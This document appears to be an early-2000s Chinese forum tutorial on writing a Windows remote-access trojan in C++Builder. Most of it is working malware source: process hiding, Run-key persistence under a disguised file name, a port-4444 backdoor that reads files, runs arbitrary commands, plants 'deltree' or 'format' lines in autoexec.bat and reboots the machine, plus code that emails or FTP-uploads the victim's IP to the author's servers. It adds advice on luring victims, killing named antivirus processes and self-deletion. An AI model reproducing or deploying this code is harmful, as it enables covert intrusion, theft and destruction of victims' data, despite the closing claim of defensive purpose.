木马是如何编写的 FROM HACKBASE

 

陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion >= 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:/Windows/System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"//Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software//Microsoft//Windows//

CurrentVersion//Run",TRUE);

//打开键值Software//Microsoft//Windows//CurrentVersion//Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"//Tapi32.exe")

Registry->WriteString("crossbow",SystemPath+"//Tapi32.exe");

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("//Win369.BAT")).c_str());

//在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket->ReceiveText();

//接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

//如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

//得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

//将第11个字符转换成integer型,存入file_name变量

//为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'/n').c_str();

//余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c://autoexec.bat",S_IREAD|S_IWRITE);

chmod("c://config.sys",S_IREAD|S_IWRITE);

//将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c://autoexec.bat");

//如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c://config.sys");

//如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

//定义计数器

while(fp==NULL)

{

//如果指针是空

fp=fopen(filename,"a+");

//如果文件不存在,创建之;如果存在,准备在其后添加

//如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

//写完后关闭目标文件

Socket->SendText("Sucess");

//然后发回“Success”的成功信息

}

}

你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="/n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w+");

//就创建system/Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='//')

//如果最后一个字符不是“/”,证明不是根目录

filename=(AnsiString(dirname)+"//"+ent->d_name).c_str();

//加上“/”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

//如果是根目录,则不用加“/”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_DIREC)

fwrite("

",sizeof(char),9,fp);

//将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

//失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

//将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

//写入换行

}

fclose(fp);

//关闭文件

closedir(dir);

//关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

//打开Win369.bat准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='/0';

//定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content='/0';

Read_Num=fread(temp_content,1,300,fp1);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

fclose(fp1);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

//如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

//将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

//打开目标文件准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已试了100次了

Socket->SendText("Fail By Open File");

//返回“Fail By Open File”的错误信息

goto END;

//跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='/0';

//定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content='/0';

Read_Num=fread(temp_content,1,300,fp);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text的内容加上刚才的字符

fclose(fp);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

//如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

//就弹出光驱的托盘

}

else if(temp=="close")

{

//如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

//交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

//如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

//得到操作系统的版本号

if (dwVersion < 0x80000000)

{

//操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

//定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

//OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

//GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

//LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

//赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

//AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);

//强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

//强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

//如果都不是

char * CR_TF="/n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

//创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

//返回“Fail By Open File”的信息

goto END;

//跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

//写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

//写入换行符

fclose(fp);

//关闭Win369.bat

system(TempFile);

//执行Win369.bat

Socket->SendText("Success");

//返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(

但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-〉Close();

//关闭服务

ServerSocket1-〉Active =true;

//再次打开服务

if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();

//如果SMTP服务器已连接则断开

NMSMTP1-〉Host = "smtp.163.net";

//选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-〉UserID = "";

//你SMTP的ID

try

{

NMSMTP1-〉Connect();

//再次连接

}

catch(...)

{

goto NextTime;

//跳到NextTime

}

NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";

//受害者的Email地址

NMSMTP1-〉PostMessage-〉FromName = "Casualty";

//受害者的名字

NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";

//将信发到我的邮箱,这一步很关键

NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;

//信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";

//信的主题

NMSMTP1-〉SendMail();

//发送!

return;

//返回

NextTime:

NMFTP1-〉Host = "ftp.go.163.com";

//你的FTP服务器的地址

NMFTP1-〉UserID = "";

//你的用户ID

NMFTP1-〉Port = 21;

//FTP端口号,一般为21

NMFTP1-〉Password = "";

//你的FTP的密码

if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();

//如果已连接就断开

try

{

NMFTP1-〉Connect();

//再连接

}

catch(...)

{

return;

//返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;

//受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");

//创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

//写入以上的SendToSite的内容

fclose(Upload);

//写完后关闭此文件

NMFTP1-〉RemoveDir("public_html");

//删除public_html目录

NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);

//上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include 〈stdlib.h〉

#include 〈dirent.h〉

#include 〈fcntl.h〉

#include 〈dos.h〉

#include 〈sys/stat.h〉

#include 〈winbase.h〉

#include 〈stdio.h〉

#include 〈process.h〉

#include 〈io.h〉

#include 〈mmsystem.h〉

至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

双击Button1,在Button1Click事件中添加如下代码:

{

if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;

//如果输入IP地址框或输入端口号框有一个为空,就什么也不作

ClientSocket1-〉Address=Edit2-〉Text;

//目标IP地址

ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());

//目标端口号,本例中的44444

ClientSocket1-〉Open();

//连接!

}

选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:

{

if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))

//如果是要编辑autoexec.bat或config.sys

Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);

//发送命令和欲添加的语句

else

Socket-〉SendText(Edit1-〉Text);

//否则只发送命令

}

双击OnRead事件,在ClientSocket1Read下添加如下代码:

{

AnsiString ReadIn = Socket-〉ReceiveText();

//读入收到的返回信息

Edit4-〉Text="";

//清空编辑框

FILE *fp;

fp = fopen("ReadIn.tmp","w");

//建立一个临时文件ReadIn.tmp

fwrite(ReadIn.c_str(),1,10000,fp);

//写入信息

fclose(fp);

//关闭之

Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");

//在编辑框中显示返回的信息

}

为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:

{

if(Key==VK_RETURN)Button1Click(Sender);

//如果敲的是回车键,就和点击Button1一样的效果

}

最后再添加以下头文件:

#include "stdlib.h"

#include "winbase.h"

#include "fcntl.h"

#include "stdio.h"

终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?

以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/

RunServices

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT/exefile/shell/open/command

与txt文件建立关联:HKEY_CLASSES_ROOT/txtfile/shell/open/command

与dll文件建立关联:HKEY_CLASSES_ROOT/dllfile/shell/open/command

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion

/Windows

下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以杀掉防火墙和杀毒软件的进程。防火墙和杀毒软件监视的是特征码,如果你是新木马,它就不吱一声;但是如果你打开不寻常的端口,它就会跳出来报警。因此最好的办法是启动后立即分析当前进程,查找有没有常见防火墙和杀毒软件的进程,如果有就杀无赦。比如常见的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不会再次启动自己了。

针对来自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到的是条件跳转,条件跳转对于反向工程来说并不有趣。没有循环,只是跳转,作为使偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我不太肯定,但听说有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击。

最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放心地退出。你可以试一下,所有文件都消失了吧?!这叫“踏雪无痕”。

入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,而且你自己心里也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024以下的端口,而且包括1024以上的高端端口也要仔细扫描,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的4444)。

写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马的工作原理和简单的编写步骤,以便更好地防范和杀除木马,维护我们自己应有的网络安全。因此,请列位看官好自为之,不要乱下杀手啊!

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